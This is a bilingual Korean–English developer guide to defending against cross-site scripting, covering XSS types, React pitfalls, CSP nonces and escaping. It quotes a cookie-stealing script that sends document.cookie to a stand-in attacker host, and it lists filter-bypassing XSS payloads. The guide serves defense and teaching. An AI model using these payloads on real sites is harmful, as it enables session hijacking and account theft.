내 쿠키를 훔쳐간 범인은 게시판 댓글이었다 (XSS 방어 가이드)
1. "어? 나 로그아웃 안 했는데?"
어느 날 아침, 관리하고 있던 커뮤니티 사이트에서 이상한 제보가 들어왔습니다. "운영자님, 자유게시판 3번 글만 들어가면 로그인이 풀려요."
처음엔 세션 타임아웃 문제인 줄 알았습니다. 하지만 로그를 보니 제 관리자 계정으로 누군가 접속해서 공지사항을 수정하고 있었습니다. 등골이 서늘해졌습니다. 세션 하이재킹(Session Hijacking)이었습니다.
원인은 3번 글에 달린 댓글 하나였습니다.
<script>
fetch('https://hacker.com/steal?cookie=' + document.cookie);
</script>
이 끔찍한 코드가 제 브라우저에서 실행되었고, 제 세션 ID가 해커에게 전송된 것입니다. 이것이 제가 겪은 XSS (Cross-Site Scripting) 공포 실화입니다.
2. 왜 브라우저는 막지 못했나?
가장 이해가 안 갔던 건 "왜 브라우저가 이걸 실행해 줬냐"는 겁니다. 브라우저는 기본적으로 Same-Origin Policy (SOP)가 있어서 다른 사이트의 스크립트는 실행하지 않아야 합니다.
하지만 XSS는 다릅니다. 악성 스크립트가 이미 내 사이트(Origin) 안에 들어와 있기 때문입니다. 브라우저 입장에서는 이것이 "개발자가 작성한 정상적인 스크립트"인지, "해커가 삽입한 악성 스크립트"인지 구분할 방법이 없습니다. 그래서 그냥 실행합니다. 멍청해 보이지만, 브라우저는 죄가 없습니다.
3. XSS 공격의 3가지 얼굴
XSS는 침투 경로에 따라 크게 3가지로 나뉩니다.
1. Stored XSS (저장형) - 가장 치명적
악성 스크립트가 데이터베이스(DB)에 저장됩니다. 제가 당한 케이스입니다.
- 해커가 게시판 댓글에
<script>...</script>를 씁니다. - 서버는 별생각 없이 DB에 저장합니다.
- 이후 이 게시글을 보는 모든 사용자의 브라우저에서 스크립트가 실행됩니다.
- 피해 규모: 수천 명의 사용자가 한 번에 감염될 수 있습니다.
2. Reflected XSS (반사형) - 피싱의 기본
악성 스크립트가 URL에 포함되어 있다가, 서버가 이를 그대로 응답(Reflect)할 때 실행됩니다.
- 해커가 이메일을 보냅니다: "당첨 확인하세요!
https://mysite.com/search?q=<script>alert(1)</script>" - 사용자가 링크를 클릭합니다.
- 서버는 "검색 결과:
<script>alert(1)</script>" 라고 응답합니다. - 사용자 브라우저에서 스크립트가 실행됩니다.
3. DOM-based XSS - 서버를 거치지 않음
서버 응답은 정상이지만, 브라우저의 JavaScript(클라이언트)가 DOM을 조작하다가 발생합니다.
// 프론트엔드 코드
const params = new URLSearchParams(window.location.search);
const name = params.get('name');
// ❌ 취약점: innerHTML 사용
document.getElementById('welcome').innerHTML = name;
해커가 ?name=<img src=x onerror=alert(1)> 로 접속하면 바로 터집니다.
4. React와 Next.js는 안전한가?
"React 쓰면 XSS 안심해도 된다"는 말을 들어보셨을 겁니다. 반은 맞고 반은 틀립니다.
안전한 이유 - 자동 이스케이프
React는 기본적으로 모든 데이터를 텍스트로 취급합니다.
const title = "<script>alert(1)</script>";
return <div>{title}</div>;
결과는 화면에 <script>alert(1)</script> 라는 글자가 보일 뿐, 실행되지 않습니다. (HTML Entity로 변환됨)
위험한 이유 1: dangerouslySetInnerHTML
이름부터 위험합니다. "나 이거 위험한 거 아는데 그냥 HTML로 넣어줘"라는 뜻입니다.
// ❌ 절대 사용 금지 (검증 없이)
<div dangerouslySetInnerHTML={{ __html: userContent }} />
에디터(WYSIWYG) 내용을 보여줄 때 어쩔 수 없이 써야 한다면, 반드시 DOMPurify 같은 라이브러리로 소독(Sanitize)해야 합니다.
위험한 이유 2: javascript: URLs
이건 React도 못 막아줍니다.
// ❌ 취약함
<a href={userWebsite}>홈페이지 방문</a>
만약 userWebsite가 javascript:alert('Hacked') 라면? 클릭하는 순간 실행됩니다.
반드시 http:// 또는 https://로 시작하는지 검사해야 합니다.
5. 최후의 방패: CSP (Content Security Policy)
코드에서 실수를 해도 막아주는 최후의 보루가 있습니다. 바로 CSP 헤더입니다. "내 사이트에서는 이 도메인의 스크립트만 실행해!"라고 브라우저에게 명령하는 것입니다.
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-analytics.com
이렇게 설정하면, 해커가 <script>...</script>를 주입해도 브라우저가 차단합니다.
"어? 이 스크립트는 'self'(우리 사이트) 파일도 아니고, 허용된 CDN도 아니네? 실행 안 해!"
Nonce (Number used ONCE)
Next.js의 Inline Script를 허용하려면 nonce를 써야 합니다.
- 서버가 요청마다 랜덤한 암호(nonce)를 생성합니다.
- CSP 헤더에
script-src 'nonce-랜덤값'을 넣습니다. <script nonce="랜덤값">태그만 실행됩니다. 해커는 이 랜덤값을 모르므로 스크립트를 실행할 수 없습니다.
6. 마무리 - "입력은 엄격하게, 출력은 안전하게"
XSS는 웹 역사상 가장 오래된 공격이지만, 여전히 Top 3 안에 듭니다. 방어의 핵심은 두 가지입니다.
- 입력 검증(Validation): 들어오는 데이터가 예상된 형식인지 확인하세요. (이메일이면 이메일 형식인지)
- 출력 이스케이프(Escaping): 나가는 데이터가 코드로 오해받지 않도록
<등으로 바꾸세요.
"내 사이트는 React라서 안전해"라고 방심하지 마세요.
해커는 여러분이 놓친 단 하나의 dangerouslySetInnerHTML을 노리고 있습니다.
The Culprit Who Stole My Cookies Was a Comment (XSS Defense Guide)
1. "Wait, I Didn't Log Out?"
One morning, I received a strange report from the community site I manage. "Admin, whenever I read post #3, I get logged out."
At first, I thought it was a session timeout issue. But when I checked the logs, I saw someone logging in with MY admin account and modifying announcements. My blood ran cold. It was Session Hijacking.
The culprit was a single comment on post #3.
<script>
fetch('https://hacker.com/steal?cookie=' + document.cookie);
</script>
Typically, developers allow HTML in comments for formatting. I forgot to sanitize it. This terrible code executed in my browser, silently transmitting my Session ID to the hacker. This is my true horror story of XSS (Cross-Site Scripting).
2. Why Didn't the Browser Stop It?
The most confusing part was, "Why did the browser execute this?" Browsers have the Same-Origin Policy (SOP), which prevents executing scripts from other origins.
But XSS is different. The malicious script is already Inside My Origin. From the browser's perspective, it cannot distinguish between "valid script written by the developer" and "malicious script injected by a hacker." So it just executes it. It looks stupid, but the browser is innocent; the developer (me) opened the door.
3. The Three Faces of XSS
XSS is categorized by how the payload is delivered.
#1: Stored XSS (Persistent) - The Most Lethal
The malicious script is stored in the Database. This is what I experienced.
- Hacker posts a comment with
<script>...</script>. - Server blindly saves it to the DB.
- Later, EVERY user who views the post gets infected.
- Impact: Mass account compromise.
#2: Reflected XSS (Non-Persistent) - The Phishing Classic
The script is in the URL, and the server "reflects" it back in the response.
- Hacker sends a phishing email: "You won a prize! Click here:
https://site.com/search?q=<script>steal()</script>" - User clicks the link.
- Server responds: "Search results for:
<script>steal()</script>". - Script executes in the user's browser.
#3: DOM-based XSS - The Client-Side Assassin
The server response is clean, but Client-side JavaScript modifies the DOM insecurely.
// Frontend Code
const name = new URLSearchParams(location.search).get('name');
// ❌ Vulnerable: Uses innerHTML
document.getElementById('welcome').innerHTML = name;
If a hacker visits ?name=<img src=x onerror=alert(1)>, it triggers immediately.
4. Are React and Next.js Safe?
You've probably heard, "React prevents XSS." That's half true, half false.
Why it's Safe: Auto-Escaping
By default, React treats all data as text.
const content = "<script>alert(1)</script>";
return <div>{content}</div>;
React escapes this to <script>..., so it renders as text, not code.
Risk #1: dangerouslySetInnerHTML
The name is a warning. It means "I know this is dangerous, but insert HTML anyway."
// ❌ NEVER do this without sanitization
<div dangerouslySetInnerHTML={{ __html: userContent }} />
If you must render HTML (e.g., from a WYSIWYG editor), you MUST use a sanitizer like DOMPurify.
Risk #2: javascript: URLs
React doesn't block this.
// ❌ Vulnerable
<a href={userWebsite}>Visit Website</a>
If userWebsite is javascript:alert('Hacked'), clicking it executes the code.
Always validate that links start with http:// or https://.
5. The Ultimate Shield: CSP (Content Security Policy)
Even if you write bad code, there is a final line of defense: The CSP Header. It tells the browser: "Only execute scripts from THESE domains. Block everything else."
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com
With this, if a hacker injects <script>...</script>, the browser blocks it:
"Wait. This script is inline, and 'unsafe-inline' is not allowed. Blocked."
Using Nonce (Number used ONCE)
Modern Next.js apps often need inline scripts. To do this securely:
- Server generates a random crypto string (
nonce) per request. - CSP Header includes
script-src 'nonce-{RANDOM}'. - Only tags with
<script nonce="{RANDOM}">are executed. The hacker cannot guess the random string, so their script is blocked.
6. FAQ: Common XSS Questions
Q. Does HTTPS prevent XSS?
No. HTTPS encrypts the connection (preventing sniffing), but it does not check the content of the traffic. It will happily deliver an encrypted XSS payload to your browser.
Q. Is innerText safe?
Yes. innerText and textContent treat content as pure text. innerHTML is the dangerous one.
Q. LocalStorage vs Cookies?
If you store tokens in LocalStorage, any XSS script can read them (localStorage.getItem('token')).
If you store them in HttpOnly Cookies, XSS scripts cannot read them (document.cookie is empty).
Always use HttpOnly Cookies for sensitive sessions.
7. Educational: Famous XSS Payloads
(Do not use these for evil. Only for testing your own sites.)
- The Classic:
<script>alert(1)</script>(Often blocked by WAFs) - Image Error:
<img src=x onerror=alert(1)>(Executes when image fails to load) - SVG OnLoad:
<svg/onload=alert(1)>(Bypasses some tag filters) - Polyglot:
javascript://%250Aalert(1)//(Bypasses protocol checks)
8. XSS in Other Frameworks
While we focused on React, every framework has its danger zones.
- Vue.js:
v-htmlis the dangerous equivalent. Never use it for user content. - Angular:
innerHtmlbinding orBypassSecurityTrust...methods. - Svelte:
{@html ...}tag.
9. Context is King
Escaping is context-sensitive.
- Escaping for HTML Body is different from escaping for HTML Attributes.
- Escaping for JavaScript variables (
var x = "...") is different from CSS. - Don't try to write your own escaper. Use well-tested libraries like
DOMPurifyor standard framework features.
10. Fun Fact: XSS Bug Bounties
XSS is the "Bread and Butter" of Bug Bounty hunters. Companies pay good money for finding XSS.
- Google: Pays up to $31,337 for XSS.
- Facebook: Pays $500 - $10,000+. If you master XSS, you can literally make a living just by finding alert(1) on websites. But remember: Only test on sites that have a Bug Bounty Program. Hacking without permission is illegal and will send you to jail, not the bank.